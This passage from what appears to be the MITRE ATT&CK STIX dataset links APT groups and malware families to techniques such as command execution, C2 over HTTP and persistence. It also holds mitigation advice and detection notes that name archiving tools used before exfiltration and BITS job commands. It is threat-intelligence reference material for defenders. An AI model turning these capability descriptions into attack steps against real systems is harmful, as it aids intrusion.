"target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e31ca67c-1662-4d27-b349-44f3dda2a872", "type": "relationship", "created": "2020-12-17T16:16:08.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Cicada November 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}], "modified": "2020-12-29T16:51:25.563Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).(Citation: Symantec Cicada November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e31f5737-0105-481d-9e12-e0986f752164", "type": "relationship", "created": "2020-02-21T21:00:49.031Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T22:18:11.328Z", "description": "Ensure proper process and file permissions are in place to prevent adversaries from disabling or modifying firewall settings.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. 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New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.477Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on the victim IP address.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e337f1d2-0729-48e0-8e8a-8fd372b81aa5", "type": "relationship", "created": "2020-11-13T18:52:28.973Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T21:28:41.248Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has the ability to use HTTP in C2 communications.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3417dc3-f784-4306-8466-65a0067b63f1", "type": "relationship", "created": "2019-01-30T14:00:49.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/", "source_name": "PaloAlto DNS Requests May 2016"}], "modified": "2019-05-30T18:05:32.708Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.(Citation: PaloAlto DNS Requests May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3425903-a09d-44e2-b033-daadc8208ff5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}, {"url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/", "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", "source_name": "Unit 42 Phishery Aug 2018"}, {"url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}], "modified": "2019-04-22T19:23:13.461Z", "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). 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(2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-09-30T15:45:56.571Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can enumerate a list of installed programs.(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e342f3ae-10f0-4740-937b-5cead8204d78", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip.  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Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T21:11:16.941Z", "description": "[ZIPLINE](https://attack.mitre.org/software/S1114) can download files to be saved on the compromised system.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3540915-e2f8-4f99-8f81-57a566e9d115", "type": "relationship", "created": "2020-05-19T21:26:54.333Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. 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Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.422Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used an MSI installer to install the virtualization software.(Citation: ESET LoudMiner June 2019)\t", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3542e4e-6c4d-468a-b11e-462e35dc33f6", "type": "relationship", "created": "2020-05-04T19:13:35.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HOTCROISSANT February 2020", "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}], "modified": "2020-05-05T15:33:17.970Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.(Citation: US-CERT HOTCROISSANT February 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e3549420-15ec-4747-9988-7dfdbdb1e7d7", "created": "2020-12-29T16:20:58.933Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:17:31.993Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) installs an RPC server for P2P communications.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e359da34-bc39-4e72-9db1-49aa5da6c8b4", "created": "2022-09-29T20:48:50.446Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. 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Retrieved June 30, 2021."}], "modified": "2021-08-19T21:57:15.981Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) can download additional files onto an infected machine.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e3ac1997-f11f-4f3d-8339-8e077ab00149", "created": "2022-06-09T20:33:06.123Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) had used `InstallUtil.exe` to download and deploy executables.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T20:33:06.123Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e3b20c80-7b6e-4a0a-8e69-f2d948cadd0e", "created": "2024-03-25T20:31:07.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). 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(2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."}], "modified": "2020-07-09T14:02:05.435Z", "description": "Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources.(Citation: Amazon S3 Security, 2019)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3e55e40-d284-4c43-9602-145d6643bc7b", "type": "relationship", "created": "2020-08-17T14:37:43.590Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). 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Sednit Espionage Group Attacking Air-Gapped Networks. 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(2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has used `cmd.exe` for execution.(Citation: Netskope Squirrelwaffle Oct 2021)", "modified": "2022-08-26T21:59:27.816Z", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3f593f3-0cea-4795-95a1-7be411c91291", "type": "relationship", "created": "2020-02-25T19:34:15.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T23:35:58.322Z", "description": "Do not allow remote access to services as a privileged account unless necessary.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e3f77039-014f-4786-b226-808167d75a96", "type": "relationship", "created": "2021-10-14T15:12:18.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Nomadic Octopus 2018", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", "description": "Cherepanov, A. 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Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.290Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used a batch script to run the Linux virtual machine as a service.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3", "created": "2017-05-31T21:33:27.066Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. 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Retrieved January 17, 2019."}], "modified": "2019-04-22T19:59:21.513Z", "description": "[POWERTON](https://attack.mitre.org/software/S0371) can install a Registry Run key for persistence.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e4485663-a636-4253-88a7-97999a909932", "created": "2022-04-11T19:22:21.879Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). 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Retrieved March 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Neoichor](https://attack.mitre.org/software/S0691) can use HTTP for C2 communications.(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-11T19:22:21.879Z", "relationship_type": "uses", "source_ref": "malware--4d7bf2ac-f953-4907-b114-be44dc174d67", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e4489924-d87d-4a18-8702-418361f6a2bb", "type": "relationship", "created": "2020-06-15T20:49:55.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. 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Retrieved November 15, 2018."}], "modified": "2020-03-17T18:44:56.501Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: PaloAlto DNS Requests May 2016)(Citation: Anomali Evasive Maneuvers July 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e45bff55-f8b0-406b-ba7d-03af2e7be8c8", "type": "relationship", "created": "2019-04-23T16:12:37.633Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). 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Retrieved December 21, 2020."}], "modified": "2021-01-05T14:52:09.765Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Twitter account to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e465cb38-ba50-4d2d-b2cd-659742815317", "created": "2021-06-11T19:27:09.116Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can find and collect data from removable media devices.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-18T17:53:22.381Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2020-03-19T19:47:59.294Z", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) runs <code>cmd.exe /c</code> and sends the output to its C2.(Citation: Volexity PowerDuke November 2016)", "relationship_type": "uses", "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/ncas/alerts/TA17-318B", "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", "source_name": "US-CERT Volgmer Nov 2017"}], "modified": "2019-09-09T19:15:45.643Z", "description": "(Citation: US-CERT Volgmer Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e46888e6-8c13-4a9c-8638-f8c151bec3c6", "type": "relationship", "created": "2021-03-21T23:21:41.288Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest parti", "url": "https://objective-see.com/blog/blog_0x59.html", "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}], "modified": "2021-03-31T16:34:43.129Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) invokes <code>time</code> call to check the system's time, executes a <code>sleep</code> command, invokes a second <code>time</code> call, and then compares the time difference between the two <code>time</code> calls and the amount of time the system slept to identify the sandbox.(Citation: wardle evilquest parti)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e46d31bf-23d8-4464-96e8-aee04f745921", "created": "2021-11-30T19:26:17.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Gelsemium June 2021", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:28:35.959Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to compress its components.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e46dc495-5581-471c-84b5-b0dd825471f9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "source_name": "PTSecurity Cobalt Group Aug 2017"}, {"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2019-07-26T23:38:34.200Z", "description": "(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e46dcc94-3608-4e31-9802-1c46368344f9", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:50:52.818Z", "description": "Monitor for newly constructed BITS tasks to enumerate using the BITSAdmin tool (bitsadmin /list /allusers /verbose). \n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). Analytic 1 is oriented around looking for the creation of Microsoft Background Intelligent Transfer Service utility\u00a0(bitsadmin.exe) processes that schedule a BITS job to persist on an endpoint. The analytic identifies the command-line parameters used to create, resume or add a file to a BITS job; these are typically seen combined in a single command-line or 